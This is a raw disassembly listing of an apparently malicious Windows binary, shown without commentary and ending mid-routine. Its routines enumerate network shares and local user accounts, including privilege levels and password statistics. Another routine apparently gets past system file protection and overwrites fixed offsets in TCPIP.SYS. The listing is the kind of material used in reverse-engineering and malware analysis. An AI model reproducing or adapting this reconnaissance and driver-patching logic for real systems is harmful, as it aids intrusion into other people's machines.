; Attributes: bp-based frame
sub_41285C proc near ; CODE XREF: sub_401C87+2F7Fp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4127F8
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 18h
loc_412895: ; CODE XREF: sub_41285C+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4D65AC
mov ebx, eax
cmp ebx, esi
jz short loc_4128F8
cmp ebx, 0EAh
jz short loc_4128F8
push ebx
push ebx
call sub_413007
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_443CCC
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 24h
jmp short loc_412965
; ---------------------------------------------------------------------------
loc_4128F8: ; CODE XREF: sub_41285C+5Dj
; sub_41285C+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_41295C
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_412906: ; CODE XREF: sub_41285C+FCj
push dword ptr [esi+10h]
call dword_4D6550 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41291D
mov eax, offset aNo ; "No"
loc_41291D: ; CODE XREF: sub_41285C+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_412906
xor esi, esi
loc_41295C: ; CODE XREF: sub_41285C+A2j
push [ebp+var_4]
call dword_4D66F8
loc_412965: ; CODE XREF: sub_41285C+9Aj
cmp ebx, 0EAh
jz loc_412895
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41285C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41297D proc near ; CODE XREF: sub_401C87+2FD8p
; sub_401C87+2FF3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_412A21
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_4129BF
dec eax
jz short loc_4129B4
dec eax
jnz short loc_4129DA
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_412AC3
add esp, 14h
jmp short loc_4129D6
; ---------------------------------------------------------------------------
loc_4129B4: ; CODE XREF: sub_41297D+1Dj
push ebx
push edi
call sub_412AA2
pop ecx
pop ecx
jmp short loc_4129D6
; ---------------------------------------------------------------------------
loc_4129BF: ; CODE XREF: sub_41297D+1Aj
cmp [ebp+arg_8], edi
jz short loc_4129D3
push [ebp+arg_8]
push ebx
push edi
call sub_412A48
add esp, 0Ch
jmp short loc_4129D6
; ---------------------------------------------------------------------------
loc_4129D3: ; CODE XREF: sub_41297D+45j
push 57h
pop eax
loc_4129D6: ; CODE XREF: sub_41297D+35j
; sub_41297D+40j ...
cmp eax, edi
jnz short loc_4129FA
loc_4129DA: ; CODE XREF: sub_41297D+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DDAE0
push off_443624[eax*4]
push offset unk_443D14
push esi
call sub_417CB0
add esp, 10h
jmp short loc_412A41
; ---------------------------------------------------------------------------
loc_4129FA: ; CODE XREF: sub_41297D+5Bj
push eax
call sub_413007
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DDAE0
push off_443620[eax*4]
push offset unk_443D34
push esi
call sub_417CB0
add esp, 18h
jmp short loc_412A41
; ---------------------------------------------------------------------------
loc_412A21: ; CODE XREF: sub_41297D+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DDAE0
lea eax, [eax+eax*2]
push off_443620[eax*4]
push offset unk_443D64
push esi
call sub_417CB0
add esp, 0Ch
loc_412A41: ; CODE XREF: sub_41297D+7Bj
; sub_41297D+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41297D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A48 proc near ; CODE XREF: sub_41297D+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4127F8
push [ebp+arg_4]
mov edi, eax
call sub_4127F8
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4127F8
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4D6540
pop edi
leave
retn
sub_412A48 endp
; =============== S U B R O U T I N E =======================================
sub_412AA2 proc near ; CODE XREF: sub_41297D+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4127F8
push [esp+8+arg_4]
mov esi, eax
call sub_4127F8
pop ecx
pop ecx
push eax
push esi
call dword_4D6530
pop esi
retn
sub_412AA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412AC3 proc near ; CODE XREF: sub_41297D+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4127F8
push [ebp+arg_4]
mov esi, eax
call sub_4127F8
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4D66C0
test eax, eax
mov [ebp+arg_0], eax
jnz loc_412E50
mov eax, [ebp+var_4]
test eax, eax
jz loc_412E8B
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_417CB0
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_412BDC
dec eax
jz short loc_412BD5
dec eax
jz short loc_412BCE
mov eax, offset aUnknown_1 ; "Unknown"
jmp short loc_412BE1
; ---------------------------------------------------------------------------
loc_412BCE: ; CODE XREF: sub_412AC3+102j
mov eax, offset aAdministrato_0 ; "Administrator"
jmp short loc_412BE1
; ---------------------------------------------------------------------------
loc_412BD5: ; CODE XREF: sub_412AC3+FFj
mov eax, offset aUser_3 ; "User"
jmp short loc_412BE1
; ---------------------------------------------------------------------------
loc_412BDC: ; CODE XREF: sub_412AC3+FCj
mov eax, offset aGuest_0 ; "Guest"
loc_412BE1: ; CODE XREF: sub_412AC3+109j
; sub_412AC3+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40764A
add esp, 20h
pop edi
pop ebx
jmp short loc_412E7C
; ---------------------------------------------------------------------------
loc_412E50: ; CODE XREF: sub_412AC3+35j
push eax
lea eax, [ebp+var_204]
push offset unk_443F14
push eax
call sub_417CB0
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40764A
add esp, 20h
loc_412E7C: ; CODE XREF: sub_412AC3+38Bj
cmp [ebp+var_4], 0
jz short loc_412E8B
push [ebp+var_4]
call dword_4D66F8
loc_412E8B: ; CODE XREF: sub_412AC3+40j
; sub_412AC3+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_412AC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E91 proc near ; CODE XREF: sub_401C87+3030p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4127F8
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 18h
loc_412ED0: ; CODE XREF: sub_412E91+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4D65C8
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_412F31
cmp eax, 0EAh
jz short loc_412F31
push eax
push eax
call sub_413007
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_443F5C
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 24h
jmp short loc_412FA2
; ---------------------------------------------------------------------------
loc_412F31: ; CODE XREF: sub_412E91+62j
; sub_412E91+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_412FB5
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_412FA2
loc_412F3F: ; CODE XREF: sub_412E91+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_412F7E
push dword ptr [edi]
loc_412F4B: ; DATA XREF: .data:off_444D48o
; .data:off_444D4Co
push offset aS_29 ; " %S"
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_412F3F
jmp short loc_412FA2
; ---------------------------------------------------------------------------
loc_412F7E: ; CODE XREF: sub_412E91+B6j
push offset unk_443F88
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 1Ch
loc_412FA2: ; CODE XREF: sub_412E91+9Ej
; sub_412E91+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_412FB5
push edi
call dword_4D66F8
xor edi, edi
mov [ebp+var_4], edi
loc_412FB5: ; CODE XREF: sub_412E91+A5j
; sub_412E91+116j
cmp [ebp+var_C], 0EAh
jz loc_412ED0
cmp edi, esi
jz short loc_412FCD
push edi
call dword_4D66F8
loc_412FCD: ; CODE XREF: sub_412E91+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_412E91 endp
; =============== S U B R O U T I N E =======================================
sub_413007 proc near ; CODE XREF: sub_412667+41p
; sub_41285C+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_4130B9
jz loc_4130B2
cmp eax, 7Bh
ja short loc_41307E
jz short loc_413074
cmp eax, 5
jz short loc_41306A
cmp eax, 8
jz short loc_413060
cmp eax, 32h
jz short loc_413056
cmp eax, 35h
jz short loc_41304C
cmp eax, 57h
jnz loc_413108
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_41304C: ; CODE XREF: sub_413007+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_413056: ; CODE XREF: sub_413007+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_413060: ; CODE XREF: sub_413007+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_41306A: ; CODE XREF: sub_413007+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_413074: ; CODE XREF: sub_413007+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_41307E: ; CODE XREF: sub_413007+1Aj
sub eax, 7Ch
jz short loc_4130AB
sub eax, 7C8h
jz short loc_4130A4
dec eax
jz short loc_41309A
dec eax
jnz short loc_413108
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_41309A: ; CODE XREF: sub_413007+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_413129
; ---------------------------------------------------------------------------
loc_4130A4: ; CODE XREF: sub_413007+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_4130AB: ; CODE XREF: sub_413007+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_4130B2: ; CODE XREF: sub_413007+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_4130B9: ; CODE XREF: sub_413007+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_4130F2
jz short loc_4130EB
sub eax, 8ADh
jz short loc_41311D
dec eax
dec eax
jz short loc_4130E4
dec eax
jz short loc_4130DD
dec eax
dec eax
jnz short loc_413108
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_4130DD: ; CODE XREF: sub_413007+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_4130E4: ; CODE XREF: sub_413007+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_4130EB: ; CODE XREF: sub_413007+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_4130F2: ; CODE XREF: sub_413007+B9j
sub eax, 8CAh
jz short loc_413124
sub eax, 17h
jz short loc_41311D
sub eax, 25h
jz short loc_413116
sub eax, 29h
jz short loc_41310F
loc_413108: ; CODE XREF: sub_413007+35j
; sub_413007+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_41310F: ; CODE XREF: sub_413007+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_413116: ; CODE XREF: sub_413007+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_41311D: ; CODE XREF: sub_413007+C2j
; sub_413007+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_413124: ; CODE XREF: sub_413007+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_413129: ; CODE XREF: sub_413007+40j
; sub_413007+4Aj ...
push offset dword_4DD878
call sub_417CB0
pop ecx
mov eax, offset dword_4DD878
pop ecx
retn
sub_413007 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41313B proc near ; CODE XREF: sub_401C87+307Cp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41A890
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_4E0394 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41A890
lea eax, [ebp+var_718]
push eax
call sub_41A860
add esp, 10h
add eax, eax
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4D6678
test eax, eax
jnz short loc_4131CB
mov esi, offset dword_4DD670
push offset unk_444290
push esi
call sub_417CB0
pop ecx
pop ecx
jmp short loc_4131F4
; ---------------------------------------------------------------------------
loc_4131CB: ; CODE XREF: sub_41313B+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_413007
pop ecx
mov esi, offset dword_4DD670
push eax
push offset dword_4442B8
push esi
call sub_417CB0
add esp, 14h
loc_4131F4: ; CODE XREF: sub_41313B+8Ej
mov eax, esi
pop esi
leave
retn
sub_41313B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp-94h]
mov dword ptr [ebp-94h], 94h
push eax
call dword_4E039C ; GetVersionExA
cmp dword ptr [ebp-90h], 5
jnz short loc_413244
cmp dword ptr [ebp-8Ch], 1
jnz short loc_413244
lea eax, [ebp-80h]
push offset dword_4442E4
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz short loc_413244
xor eax, eax
inc eax
leave
retn
; ---------------------------------------------------------------------------
loc_413244: ; CODE XREF: .data:00413220j
; .data:00413229j ...
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 104h
push dword ptr [ebp+8]
lea eax, [ebp-104h]
push offset dword_4442E8
push eax
call sub_417CB0
add esp, 0Ch
lea eax, [ebp-104h]
push 0
push eax
push dword ptr [ebp+8]
call dword_4E0354 ; CopyFileA
neg eax
sbb eax, eax
neg eax
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413282 proc near ; CODE XREF: .data:004133A6p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+var_200]
push 100h
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call dword_4E0428 ; MultiByteToWideChar
push offset dword_4442F0
call dword_4E037C ; LoadLibraryA
push 5
push eax
call dword_4E0380 ; GetProcAddress
lea ecx, [ebp+var_200]
push 0FFFFFFFFh
push ecx
push 0
call eax
leave
retn
sub_413282 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 3B0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 46h
mov esi, eax
pop ecx
lea edi, [ebp-1B0h]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
mov dword ptr [ebp-60h], offset byte_4442FC
push esi
mov [eax+114h], esi
mov dword ptr [ebp-5Ch], offset word_4442FE
mov dword ptr [ebp-58h], offset byte_444300
mov dword ptr [ebp-54h], offset byte_4DDEE0
mov dword ptr [ebp-50h], offset word_444302
mov dword ptr [ebp-4Ch], offset off_444304
mov dword ptr [ebp-48h], offset word_4DDEE2
mov dword ptr [ebp-44h], offset byte_4DDEE4
mov dword ptr [ebp-80h], 444306h
mov dword ptr [ebp-7Ch], offset byte_444308
mov dword ptr [ebp-78h], offset word_44430A
mov dword ptr [ebp-74h], offset word_4DDEE6
mov dword ptr [ebp-70h], offset byte_44430C
mov dword ptr [ebp-6Ch], offset word_44430E
mov dword ptr [ebp-68h], offset byte_4DDEE8
mov dword ptr [ebp-64h], offset word_4DDEEA
mov dword ptr [ebp-34h], offset aXSg ; "åÈ™GÈ"
mov dword ptr [ebp-30h], 444312h
mov dword ptr [ebp-40h], 444314h
mov dword ptr [ebp-3Ch], 444316h
mov dword ptr [ebp-38h], 444318h
mov [ebp-4], ebx
call sub_415090
mov [ebp-8], eax
mov [ebp-0Ch], ebx
mov dword ptr [esp], 7530h
call dword_4E033C ; Sleep
lea eax, [ebp-1A8h]
push eax
call sub_413282
pop ecx
mov edi, 80h
lea eax, [ebp-1A8h]
push edi
push eax
call dword_4E0358 ; SetFileAttributesA
push ebx
push edi
push 3
push ebx
push esi
lea eax, [ebp-1A8h]
push 80000000h
push eax
call dword_4E03D8 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_413401
lea eax, [ebp-90h]
push eax
lea eax, [ebp-98h]
push eax
lea eax, [ebp-88h]
push eax
push edi
call dword_4E0418 ; GetFileTime
push edi
call dword_4E032C ; CloseHandle
loc_413401: ; CODE XREF: .data:004133DCj
lea eax, [ebp-1A8h]
push offset aRB ; "r+b"
push eax
call sub_4176E0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jnz short loc_413458
push dword ptr [ebp-0A4h]
lea eax, [ebp-3B0h]
push offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d."
push 200h
push eax
call sub_417E80
lea eax, [ebp-3B0h]
push eax
call sub_40F927
push dword ptr [ebp-1ACh]
call sub_409979
add esp, 18h
push ebx
call dword_4E03A0 ; ExitThread
loc_413458: ; CODE XREF: .data:00413419j
mov eax, [ebp-0A4h]
dec eax
jz loc_41362D
dec eax
jz loc_413580
dec eax
jz loc_4134FD
dec eax
jnz loc_4136D1
mov dword ptr [ebp-2Ch], 130h
mov dword ptr [ebp-28h], 4F5A2h
xor edi, edi
loc_41348A: ; CODE XREF: .data:004134C1j
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp-8]
call sub_4173D0
push esi
push dword ptr [ebp+edi-40h]
push dword ptr [ebp-8]
call sub_418830
add esp, 28h
test eax, eax
jnz short loc_4134BB
inc dword ptr [ebp-4]
loc_4134BB: ; CODE XREF: .data:004134B6j
add edi, 4
cmp edi, 0Ch
jl short loc_41348A
cmp dword ptr [ebp-4], 3
jge loc_4136D1
mov [ebp-0Ch], esi
xor edi, edi
loc_4134D2: ; CODE XREF: .data:004134F6j
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp+edi-40h]
call sub_41A170
add edi, 4
add esp, 1Ch
cmp edi, 0Ch
jl short loc_4134D2
jmp loc_4136D1
; ---------------------------------------------------------------------------
loc_4134FD: ; CODE XREF: .data:0041346Dj
mov dword ptr [ebp-2Ch], 130h
mov dword ptr [ebp-28h], 4F322h
xor edi, edi
loc_41350D: ; CODE XREF: .data:00413544j
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp-8]
call sub_4173D0
push esi
push dword ptr [ebp+edi-34h]
push dword ptr [ebp-8]
call sub_418830
add esp, 28h
test eax, eax
jnz short loc_41353E
inc dword ptr [ebp-4]
loc_41353E: ; CODE XREF: .data:00413539j
add edi, 4
cmp edi, 8
jl short loc_41350D
cmp dword ptr [ebp-4], 2
jge loc_4136D1
mov [ebp-0Ch], esi
xor edi, edi
loc_413555: ; CODE XREF: .data:00413579j
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp+edi-34h]
call sub_41A170
add edi, 4
add esp, 1Ch
cmp edi, 8
jl short loc_413555
jmp loc_4136D1
; ---------------------------------------------------------------------------
loc_413580: ; CODE XREF: .data:00413466j
mov dword ptr [ebp-2Ch], 130h
mov dword ptr [ebp-28h], 131h
mov dword ptr [ebp-24h], 132h
mov dword ptr [ebp-20h], 133h
mov dword ptr [ebp-1Ch], 4F5A2h
mov dword ptr [ebp-18h], 4F5A3h
mov dword ptr [ebp-14h], 4F5A4h
